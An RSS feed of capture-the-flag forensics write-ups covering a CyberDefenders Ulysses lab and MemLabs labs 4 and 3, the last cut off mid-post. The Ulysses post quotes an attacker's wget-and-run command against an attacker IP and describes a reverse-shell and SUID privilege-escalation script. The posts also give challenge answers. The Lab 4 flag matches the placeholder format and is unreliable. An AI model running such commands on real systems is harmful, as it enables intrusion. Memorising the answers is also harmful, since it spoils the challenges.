<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Master_Azema on Medium]]></title>
        <description><![CDATA[Stories by Master_Azema on Medium]]></description>
        <link>https://medium.com/@midoagamy712364?source=rss-31193ae61f06------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*OSztBkxRsK1TUovuAPzP6g.jpeg</url>
            <title>Stories by Master_Azema on Medium</title>
            <link>https://medium.com/@midoagamy712364?source=rss-31193ae61f06------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 18:49:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@midoagamy712364/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ulysses Lab cyber defenders walkthrough write-up]]></title>
            <link>https://medium.com/@midoagamy712364/ulysses-lab-cyber-defenders-walkthrough-write-up-21a0c40cfcc5?source=rss-31193ae61f06------2</link>
            <guid isPermaLink="false">https://medium.com/p/21a0c40cfcc5</guid>
            <category><![CDATA[memory-forensics]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cyberdefenders-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dfir]]></category>
            <dc:creator><![CDATA[Master_Azema]]></dc:creator>
            <pubDate>Thu, 26 Nov 2026 23:15:38 GMT</pubDate>
            <atom:updated>2026-11-26T23:15:38.462Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*HN1pwdZfhdqlMXJra1fl8g.png" /></figure><h3>Ulysses Lab</h3><p>Scenario :</p><p>A research server was flagged for suspicious activity following multiple failed authentication attempts. Further investigation revealed a potential brute-force attack, unauthorized outbound network connections, and possible persistence mechanisms. Using Volatility, a custom Debian5_26 profile was loaded to analyze the memory dump and identify suspicious processes and network activity.</p><p>The objective of this investigation is to examine forensic artifacts, identify the attacker’s initial access vector, analyze post-exploitation activities, and uncover the malicious files deployed on the compromised server.</p><h3>Q1 : The attacker was performing a Brute Force attack. What account triggered the alert?</h3><p>To identify the targeted account, we need to examine the authentication logs and identify repeated failed login attempts.</p><p><strong>Evidence Source:</strong></p><pre>/var/log/auth.log</pre><p>For disk image analysis, I used FTK Imager to access the Linux file system</p><p><strong>Investigation Steps:</strong></p><ol><li>Load the disk image into FTK Imager using the <em>Add Evidence Item</em> option.</li><li>Navigate to /var/log/auth.log.</li><li>Examine the authentication events.</li><li>Search for the keyword Failed password to identify unsuccessful login attempt</li></ol><p>First , add evidence to FTK imager</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*iYqhw6RBLs2EL9Nb2nMDQA.png" /><figcaption>add evidence item</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*I-_ng8gqf8Y0iCFlpKIctw.png" /><figcaption>select image file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*mAVR_9dw8X-9KV-yymsdGw.png" /><figcaption>select “victortia-v8.sda1.img” file</figcaption></figure><p>After the image was loaded , go to /var/log/auth.log file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*C36FEZVRDmxjEr2Zmk9dvg.png" /><figcaption>1 &amp; 2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/258/1*dJ2kc0w6MMrE6L6Cs4JxHA.png" /><figcaption>3</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*V2WwvRAvbp0RLXCzC6iLdg.png" /><figcaption>4</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*ERmZaQistbeORIC_nG-UEA.png" /><figcaption>and this is the auth.log data and logs</figcaption></figure><p>Now , search for the keyword “ Failed password “ to detect failed login attempts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*eAf3hg1HsxTBJc6DOAsyFw.png" /></figure><p>We can notice there is alot of multiple failed login to the user “ ulysses “</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*PHpyL0NbXx6I8aU5I7j46g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*o3RgjUV9As4ucRMytz4RNw.png" /></figure><p>The logs contain multiple failed authentication attempts targeting the same account, indicating a possible brute-force attack</p><blockquote>Answer : ulysses</blockquote><h3><strong>Q2 : During investigating the logs. How many failed login attempts were alerted by the same user?</strong></h3><p>After identifying the targeted account, the next step is to determine the total number of failed authentication attempts.</p><p>To make the analysis easier, I exported the auth.log file from FTK Imager and analyzed it using command-line utilities.</p><p>There is several ways to do it , i will extract auth.log file to my computer and use strings or grep</p><p>Export auth.log</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*OTfpROoJuM8_ShfLcW3Q7g.png" /><figcaption>exporting auth.log file</figcaption></figure><p>And select any path you want to save the file</p><blockquote>If you work on windows :</blockquote><p>1-Open powershell -&gt;</p><pre>strings d:\[root]\var\log\auth.log | Select-String -Pattern &quot;Failed.*ulysses&quot; | Measure-Object Lin</pre><blockquote>If you work on linux :</blockquote><p>1-open terminal -&gt;</p><pre>strings /path/to/auth.log | grep -E &#39;Failed.*ulysses&#39; | wc –l </pre><p>These commands search for failed authentication events associated with the ulysses account and count the matching lines.</p><p>output :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*vpl74CbJpZS2dVbD1o4ewA.png" /><figcaption>linux output</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/1*nDazNmzXSbeBWg7GxyZgoA.png" /><figcaption>windows output</figcaption></figure><p>The analysis identified 32 failed authentication attempts.</p><blockquote><strong>Answer : 32</strong></blockquote><h3><strong>Q3 : What kind of system runs on the targeted server?</strong></h3><p>To identify the operating system and its version, we can examine common Linux system identification files.</p><p>The primary files to check are:</p><ul><li>/etc/os-release</li><li>/etc/issue</li></ul><p><strong>Investigation Steps:</strong></p><p>I first checked /etc/os-release, but the file was not present in the extracted evidence.</p><p>I then examined /etc/issue, which revealed the operating system information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*1zeyDJ8hTGfrB-TSVvwXUA.png" /><figcaption>/etc/issue file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*VIclytlAGjSGv-PYsEYi3A.png" /><figcaption>/etc/issue file information</figcaption></figure><p>The file identified the target system as:</p><blockquote>Debian GNU/Linux 5.0</blockquote><blockquote>Answer : “ Debian GNU/Linux 5.0”</blockquote><h3><strong>Q4 : What is the victim’s IP address?</strong></h3><p>The victim’s IP address can be identified by examining network configuration artifacts within the Linux file system.</p><p>Some useful locations include:</p><ul><li>/var/lib/dhcp3/dhclient.eth0.leases</li><li>/proc/net/fib_trie</li><li>/etc/hosts</li></ul><p>Check dhclient.eth0.leases file : (This file contains DHCP configuration information, including the IP address assigned to the network interface.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*CHCdy1f3nyk5nb5uyLDSQg.png" /><figcaption>/var/lib/dhcp3/dhclient.eth0.leases</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*fLRk0T1fzkplMaorQwBY-w.png" /><figcaption>/var/lib/dhcp3/dhclient.eth0.leases</figcaption></figure><p>And there is the ip address :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*xuEfk-NGBdV9bx5x6OULMA.png" /><figcaption>victim ip address</figcaption></figure><p>The analysis revealed the following IP address: 192.168.56.102</p><blockquote>Answer : 192.168.56.102</blockquote><h3><strong>Q5 : What are the attacker’s two IP addresses?</strong></h3><p>Based on the previous findings, we identified repeated brute-force attempts targeting the ulysses account. The next step is to identify the source IP addresses associated with the attack.</p><p>There are two main approaches:</p><ol><li>Analyze the authentication logs.</li><li>Examine active and historical network connections using Volatility.</li></ol><p><strong>First: Authentication Log Analysis</strong></p><p>I returned to /var/log/auth.log and examined the source IP addresses associated with the failed authentication attempts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*OuX36_Igz0qE-vBw-k7tgA.png" /><figcaption>auth.log results for attacker ip address</figcaption></figure><p>First ip address : 192.168.56.1</p><p>However, only one of the two attacker IP addresses was identified through the authentication logs.</p><p>Lets check the memory dump image</p><p><strong>Second: Memory Analysis</strong></p><p>To identify additional network connections, I used the linux_netstat plugin in Volatility.</p><p>run volatility :</p><pre>python2 /home/kali/Downloads/volatility/vol.py -f victoria-v8.memdump.img --<br>profile=LinuxDebian5_26x86 linux_netstat </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*qkWES7h3nK-Y2h_kuXzWeA.png" /><figcaption>volatility Linux_nestat results</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*rp65Qw20iF2TEXOIVQpX1Q.png" /><figcaption>volatility Linux_nestat results</figcaption></figure><p>the two identified addresses are:</p><ul><li>192.168.56.1</li><li>• 192.168.56.101</li></ul><blockquote>Answer : 192.168.56.1,192.168.56.101</blockquote><h3><strong>Q6 : What is the nc service PID number that was running on the server?</strong></h3><p>To identify the Netcat process, I used the linux_pslist plugin to enumerate running processes from the memory dump</p><p>running volatility :</p><pre>python2 /home/kali/Downloads/volatility/vol.py -f victoria-v8.memdump.img --<br>profile=LinuxDebian5_26x86 linux_pslist | grep &quot;nc&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*_q0fe-QqBFql69hjF-ORnA.png" /><figcaption>volatility pslist results</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*XO5qtc4SejK59MPgQVTflA.png" /><figcaption>volatility pslist results</figcaption></figure><p>PID : 2169</p><blockquote><strong>Answer : 2169</strong></blockquote><h3><strong>Q7 : What service was exploited to gain access to the system? (one word)</strong></h3><p>To identify the service exploited by the attacker, I examined the post-exploitation activities recorded on the compromised machine.</p><p>One useful artifact for this investigation is the Bash history file, which can reveal commands executed interactively by the attacker.</p><p><strong>Evidence Source:</strong></p><p>~/.bash_history</p><p>First , go to bash_history</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*zo1f7aVhyCOoPVrfj2nKJw.png" /><figcaption>bash_history file location</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*lSFAthQySqmBdIyOD4lAhg.png" /><figcaption>bash_history</figcaption></figure><p>And there is all commands that executed :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*j7dr9_EEgHhYTD71QOr-8g.png" /><figcaption>bash_history commands</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*LUjCBl71_b82IrNCEu-ygA.png" /><figcaption>bash_history commands</figcaption></figure><p>After examining the recorded commands, I identified several suspicious activities:</p><ul><li>Removed Exim4 and its related packages, then transferred the required .deb files from another machine using SCP.</li><li>Manually reinstalled Exim4 components using dpkg, including exim4-base, exim4-config, and exim4-daemon-light, while handling dependencies.</li><li>Modified Exim4 configuration files and regenerated the configuration using update-exim4.conf.</li><li>Installed SSH and forensic tools such as memdump, ddrescue, and dcfldd to prepare the system for evidence collection.</li><li>Tested network connectivity and attempted disk acquisition using dd piped to Netcat to transfer raw disk data to a remote machine.</li></ul><p>These activities indicate that Exim4 played a significant role in the compromise and subsequent attacker operations.</p><p>So , service was exploited is “ Exim4”</p><blockquote><strong>Answer : “ Exim4”</strong></blockquote><h3><strong>Q8 : What is the CVE number of exploited vulnerability?</strong></h3><p>After identifying Exim4 as the exploited service, the next step is to determine the vulnerability associated with the attack.</p><p>I searched for known Exim4 vulnerabilities affecting older Debian Linux systems and correlated the results with the available forensic artifacts.</p><p>The vulnerability associated with this scenario is:</p><p><strong>CVE-2010–4344</strong></p><p>This vulnerability affects the Exim Mail Transfer Agent (MTA) and can allow remote code execution under vulnerable configurations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*SKWqm7qkn62Fx48Ce7IOJQ.png" /><figcaption>cve-2010–4344</figcaption></figure><p>the vulnerability exploited in this scenario is CVE-2010–4344, a critical flaw in the exim4 mail transfer agent (MTA) that allows attackers to achieve Remote Code Execution (RCE). This vulnerability arises from the improper handling of certain crafted inputs by the Exim daemon, which is responsible for routing and managing emails. Specifically, this vulnerability can be exploited when an attacker sends specially crafted requests to the exim4 service, enabling them to execute arbitrary commands on the server with elevated privileges.</p><p>From the logs and previous analysis, it is evident that the attacker exploited this vulnerability to gain unauthorized access to the server. The attack unfolded as follows:</p><ul><li>Connection to the Exim Service: The attacker identified that the target system was running a vulnerable version of exim4.</li><li>Malicious Payload Delivery: Using a crafted request, the attacker exploited CVE-2010–4344 to execute shell commands on the server. This can be observed from the log entries showing the use of /bin/sh and external IP addresses.</li><li>Downloading Malicious Scripts: Once the RCE was achieved, the attacker used the wget utility to fetch a malicious script hosted on the attacker’s server (192.168.56.1). The command was executed directly on the victim server:</li></ul><p>/bin/sh -c “wget <a href="http://192.168.56.1/c.pl">http://192.168.56.1/c.pl</a> -O /tmp/c.pl; perl /tmp/c.pl”</p><p>This command downloads the script c.pl to the /tmp directory and executes it using perl.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*wM21GQXHK_XHHIigk9sxfg.png" /></figure><p>The exim4 vulnerability allowed the attacker to bypass authentication mechanisms and execute commands directly as the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*8B1eHgW0p6h7o1iMOqKgdg.png" /></figure><p>For more details : <a href="https://www.exploit-db.com/exploits/15725">https://www.exploit-db.com/exploits/15725</a></p><blockquote><strong>answer : CVE-2010–4344</strong></blockquote><h3><strong>Q9 : During this attack, the attacker downloaded two files to the server. Provide the name of the compressed file.</strong></h3><p>After identifying the malicious download command, I focused on the /tmp directory, which is commonly used by attackers to store temporary payloads and execution scripts.</p><p>According to CVE details and information , the attacker downloaded dropped files in</p><p>/tmp file location</p><p>I examined the contents of /tmp and identified several files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*fgKVl4AVljxWs5fZ0VIokw.png" /><figcaption>/tmp location</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*4qvUA5cdbormSa-sH8CCEA.png" /><figcaption>/tmp file</figcaption></figure><p>Among them, two suspicious files required further investigation:</p><ul><li>c.pl</li><li>rk.tar</li></ul><p>Other entries, such as .ICE-unix and .X11-Unix, are associated with Linux system components and were not the primary focus of this investigation</p><p><strong>Analyzing c.pl :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*zOFFyvP8Kzwyfll38TzCCQ.png" /><figcaption>c.pl file</figcaption></figure><p>Look at its activity</p><ul><li><strong>Reverse Shell:</strong> Connects to a user-specified IP address and port, redirecting standard input, output, and errors through the socket.</li><li><strong>C Code Generation:</strong> Creates a C program (s.c) designed to launch /bin/sh with Root privileges.</li><li><strong>Compilation:</strong> Uses gcc to compile the C source into an executable (s), then deletes the source file.</li><li><strong>Exim4 Exploitation:</strong> Creates a temporary Exim4 configuration that changes the executable’s ownership to root and sets the SUID permission (4755).</li><li><strong>Privilege Escalation:</strong> Executes the SUID binary to attempt to obtain a Root shell, then launches /bin/sh.</li></ul><p><strong>Analyzing rk.tar :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*rQY2PJgNoqxnkjuIF60w7w.png" /><figcaption>rk.tar file</figcaption></figure><p>All this dropped files and scripts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*LNQqqGBtm107ZGCvp6C1ww.png" /><figcaption>var.sh dropped file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*5K6ggWWTLsYQ6gQgP5z-cA.png" /><figcaption>install.sh dropped file</figcaption></figure><p>So , there is also the dropped file by attacker</p><blockquote><strong>Answer : rk.tar</strong></blockquote><h3><strong>Q10: During the investigation, two ports were involved in the process of data exfiltration. Which port did the nc command used for the exfiltration?</strong></h3><p>To investigate the network activity associated with the attack, I used Volatility’s linux_netstat plugin to examine network connections recovered from the memory dump.</p><p>Check plugin Linux_setstat using volatility 2</p><p>command :</p><pre>python2 /home/kali/Downloads/volatility/vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_netstat</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*NVn0X6Lh5h6wIa7jTA1L0w.png" /><figcaption>Linux_netstat plugin</figcaption></figure><p>The analysis revealed two relevant remote ports associated with established network connections:</p><ul><li><strong>Port 4444:</strong> Associated with an established connection to the attacker’s infrastructure.</li><li><strong>Port 8888:</strong> Another established connection observed during the investigation.</li></ul><p>By correlating the network activity with the previously identified Netcat process, the relevant port for the data exfiltration activity was identified.</p><blockquote><strong>Answer : 8888</strong></blockquote><h3><strong>Q11 : Which port did the attacker try to block on the firewall?</strong></h3><p>After extracting rk.tar, I examined the scripts contained within the archive to investigate the attacker’s firewall modifications and persistence mechanisms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*z_G8KQvZaIy2jwqGVLIOZw.png" /><figcaption>install.sh file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*mpdSqa0ASDK2-BOIdeypkw.png" /><figcaption>install.sh file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*ERFu0f636FYSTeBgGyZfug.png" /></figure><p>check this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*UZuXvQilu6rLi694732a0A.png" /></figure><p><strong>Command Breakdown:</strong></p><ul><li>iptables: Linux firewall administration utility.</li><li>-I OUTPUT 1: Inserts a rule at the beginning of the OUTPUT chain.</li><li>-p tcp: Specifies that the rule applies to TCP traffic.</li><li>— dport 45295: Matches traffic destined for TCP port 45295.</li><li>-j DROP: Silently drops matching packets.</li></ul><p>Therefore, the attacker configured the firewall to block outgoing TCP traffic destined for port 45295 and attempted to preserve this configuration across reboots.</p><p>The first two commands append firewall rules to startup scripts (/etc/rc.d/rc.local and /etc/init.d/xfs3), ensuring that the firewall rule persists across system reboots.</p><p>The final command directly applies the rule using iptables, blocking outgoing traffic on TCP port 45295 immediately.</p><p>The -I OUTPUT 1 option in the iptables command inserts the rule at the top of the output chain, ensuring it takes precedence over other rules. The -p tcp option specifies that this rule applies to TCP traffic, and the — dport 45295 flag targets the specific destination port 45295. The -j DROP action causes the firewall to silently drop packets matching the rule.</p><blockquote><strong>Answer : 45295</strong></blockquote><p>challenge URL : <a href="https://cyberdefenders.org/blueteam-ctf-challenges/ulysses/">https://cyberdefenders.org/blueteam-ctf-challenges/ulysses/</a></p><p>and this the end , i hope you find it good and helpful 3&gt;</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21a0c40cfcc5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MemLabs Lab 4 — Obsession]]></title>
            <link>https://medium.com/@midoagamy712364/memlabs-lab-4-obsession-d098a01eae1f?source=rss-31193ae61f06------2</link>
            <guid isPermaLink="false">https://medium.com/p/d098a01eae1f</guid>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[memory-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[volatility]]></category>
            <dc:creator><![CDATA[Master_Azema]]></dc:creator>
            <pubDate>Tue, 24 Nov 2026 07:07:00 GMT</pubDate>
            <atom:updated>2026-11-24T07:07:00.818Z</atom:updated>
            <content:encoded><![CDATA[<h3>MemLabs Lab 4 — Obsession</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/0*CpdmK7Uu-yZo6l-i" /></figure><p>Challenge description :</p><p>My system was recently compromised. The Hacker stole a lot of information but he also deleted a very important file of mine. I have no idea on how to recover it. The only evidence we have, at this point of time is this memory dump. Please help me.</p><p>Note: This challenge is composed of only 1 flag.</p><p>The flag format for this lab is: inctf{s0me_l33t_Str1ng}</p><p>challenge image :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/192/0*xPW0NZS60XZpHEIr.png" /></figure><p>memory dump image</p><h3>1-check image profile =&gt;</h3><pre>Plugin : imageinfo</pre><pre>Command : python2 vol.py -f MemoryDump_Lab4.raw imageinfo</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/0*nOlkcqLQY2hs5Ryw.png" /></figure><p>image profiles</p><blockquote><em>Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418</em></blockquote><p>I will select the profile “ Win7SP1x64”</p><h3>2-check running processes =&gt;</h3><pre>Plugin : pslist</pre><pre>Command : python2 vol.py -f MemoryDump_Lab4.raw --profile=Win7SP1x64 pslist</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/0*r76Lq-yAM_L1WBJq.png" /></figure><p>pslist plugin</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/0*AtzRcfN3ygytP3jM.png" /></figure><p>pslist plugin</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/0*5Eax9SiOeg0MJlrF.png" /></figure><p>pslist plugin</p><blockquote><em>Not any process is interest</em></blockquote><h3>3-check running cmd commands =&gt;</h3><pre>Plugin : cmdscan</pre><pre>Command : python2 vol.py -f MemoryDump_Lab4.raw --profile=Win7SP1x64 cmdscan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/0*WcSeEMb_gdDnk9Tk.png" /></figure><p>cmdscan plugin</p><blockquote><em>nothing here also</em></blockquote><h3>4-check all cmd commands ruined =&gt;</h3><pre>Plugin : cmdline</pre><pre>Command : python2 vol.py -f MemoryDump_Lab4.raw --profile=Win7SP1x64 cmdline</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/0*2gI3gWXSj83VtIXI.png" /></figure><p>cmdline plugin</p><blockquote><em>Not interested</em></blockquote><h3>5-check files =&gt;</h3><blockquote><em>According to description “ he also deleted a very important file of mine. “ check all files related to “important” . One of CTFs games , check this</em></blockquote><pre>Plugin : filescan</pre><pre>Command : python2 vol.py -f MemoryDump_Lab4.raw --profile=Win7SP1x64 filescan |<br>grep -i &quot;Important&quot;</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/0*ctIQrbhtuiFKbUt-.png" /></figure><p>filescan plugin</p><p>Found 2 files : Important.lnk &amp; important.txt</p><p>We will skip the file “Important.lnk” it is no value to us</p><p>Check the important.txt and dump it</p><h3>6-Dump Important.txt file =&gt;</h3><pre>Plugin:Dumpfiles</pre><pre>Command : python2 vol.py -f MemoryDump_Lab4.raw --profile=Win7SP1x64 dumpfiles -Q<br>0x000000003fc398d0 --name Important.txt -D dumpfiles</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/0*d8IpBBP2RM5BqZcx.png" /></figure><p>dumping important.txt</p><p>The file found but there is invisible to me and not fully dumped</p><p>Maybe because this file already deleted , remember the description “ deleted a very important file of mine “ maybe this file one of deleted files done by attacker</p><blockquote><em>But the file still visible in memory , we will try to get the MFT and get the file , the file not fully deleted</em></blockquote><h3>7-check MFT record of Important.txt file=&gt;</h3><pre>Plugin : mftparser</pre><pre>Command : python2 vol.py -f MemoryDump_Lab4.raw --profile=Win7SP1x64 mftparser<br>&gt;&gt;mft.txt</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/0*A4Dy7jAIPG-VZPuZ.png" /></figure><p>mft record</p><p>Results of MFT file , filter (CTRL+f) now on “important”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/0*llasmF8XOBcM1p51.png" /></figure><p>after filtering</p><p>There is fully details of the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/227/0*nrTCLCPwC79WaRz-.png" /></figure><p>the flag</p><p>And this is the flag :</p><h3>“ inctf{s0me_l33t_Str1ng} “</h3><p>the end ,</p><p>thanks for your time 3&gt;</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d098a01eae1f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MemLabs Lab 3 — The Evil’s Den]]></title>
            <link>https://medium.com/@midoagamy712364/memlabs-lab-3-the-evils-den-d7aec5d5d07a?source=rss-31193ae61f06------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7aec5d5d07a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[memory-analysis]]></category>
            <dc:creator><![CDATA[Master_Azema]]></dc:creator>
            <pubDate>Tue, 24 Nov 2026 07:05:08 GMT</pubDate>
            <atom:updated>2026-11-24T07:05:08.181Z</atom:updated>
            <content:encoded><![CDATA[<h3>MemLabs Lab 3 — The Evil’s Den</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/0*vsCy9VHqcXI9bgwL" /></figure><p>challenge description :</p><blockquote><em>A malicious script encrypted a very secret piece of information I had on my system. Can you recover the information for me please?</em></blockquote><blockquote><em>Note-1: This challenge is composed of only 1 flag. The flag split into 2 parts. Note-2: You’ll need the first half of the flag to get the second. You will need this additional tool to solve the challenge</em></blockquote><p>Memory image :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/232/0*PK7VLCdhCO9kFTvb.png" /></figure><p>memory dump image</p><h3>1-Identify Image operating system=&gt;</h3><pre>Plugin : imageinfo</pre><pre>Command : python2 vol.py -f MemoryDump_Lab3.raw imageinfo</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/0*2sWhxZmjh_5n6jBX.png" /></figure><p>image info profiles</p><blockquote><em>Suggested Profile(s) : Win7SP1×86_23418, Win7SP0×86, Win7SP1×86_24000, Win7SP1×86</em></blockquote><p>i will use “Win7SP1×86_23418”</p><h3>2-Identify running processes =&gt;</h3><pre>Plugin : pslist</pre><pre>Command : python2 vol.py -f MemoryDump_Lab3.raw --profile=Win7SP1x86_23418 pslist</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/0*aFIZ9W6M8jwlx1JM.png" /></figure><p>process list</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/0*Tlhz9VuKoe_65hbd.png" /></figure><p>process list</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/0*M-q8z30O5ku_npop.png" /></figure><p>process list</p><p>nothing here pay attention</p><p>Maybe just notepad.exe . Because in the challenge says there is script running</p><h3>3-Check what is the cmd commands running =&gt;</h3><pre>Plugin : cmdline</pre><pre>Command : python2 vol.py -f MemoryDump_Lab3.raw --profile=Win7SP1x86_23418 cmdline</pre><p>suspecious results :</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/0*DV6bAC4WccLMDKHf.png" /></figure><p>cmdline plugin</p><p>From notepad it running “evilscript.py” and run “VIP.txt”</p><p>Now i will extract and dump the two files “evilscript.py” and “VIP.txt”</p><h3>4-check offset dump files =&gt;</h3><pre>Plugin : filescan</pre><p>1- offset dump “evilscript.py”</p><pre>Command : python2 vol.py -f MemoryDump_Lab3.raw --profile=Win7SP1x86_23418<br>filescan | grep evilscript.py</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/0*X8atQ23frT1ZfG90.png" /></figure><p>file scan of evilscript.py</p><blockquote><em>Offset 0x000000003de1b5f0</em></blockquote><p>2-offset dump vip.txt</p><pre>Command : python2 vol.py -f MemoryDump_Lab3.raw --profile=Win7SP1x86_23418<br>filescan | grep vip.txt</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/0*zYicbcx0yiVaUfY0.png" /></figure><p>file scan of vip.txt</p><blockquote><em>offset : 0x000000003e727e50</em></blockquote><h3>5-dump the suspecious files =&gt;</h3><pre>Plugin : dumpfiles</pre><p>1-dump evilscript.py</p><pre>Command : python2 vol.py -f MemoryDump_Lab3.raw --profile=Win7SP1x86_23418<br>dumpfiles -Q 0x000000003de1b5f0 --name evilscript.py -D lab3_dumped_files</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/0*yFQjSRof6UQc8XO-.png" /></figure><p>dumping evilscript.py</p><p>2-dump vip.txt</p><pre>Command : python2 vol.py -f MemoryDump_Lab3.raw --profile=Win7SP1x86_23418<br>dumpfiles -Q 0x000000003e727e50 --name evilscript.py -D lab3_dumped_files</pre><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/0*qZNjt6a_wcZbfocM.png" /></figure><p>dumping vip.txt</p><p>Evilscript.py =&gt;</p><p>Press enter or click to view image in full size</p><figure><img alt="" 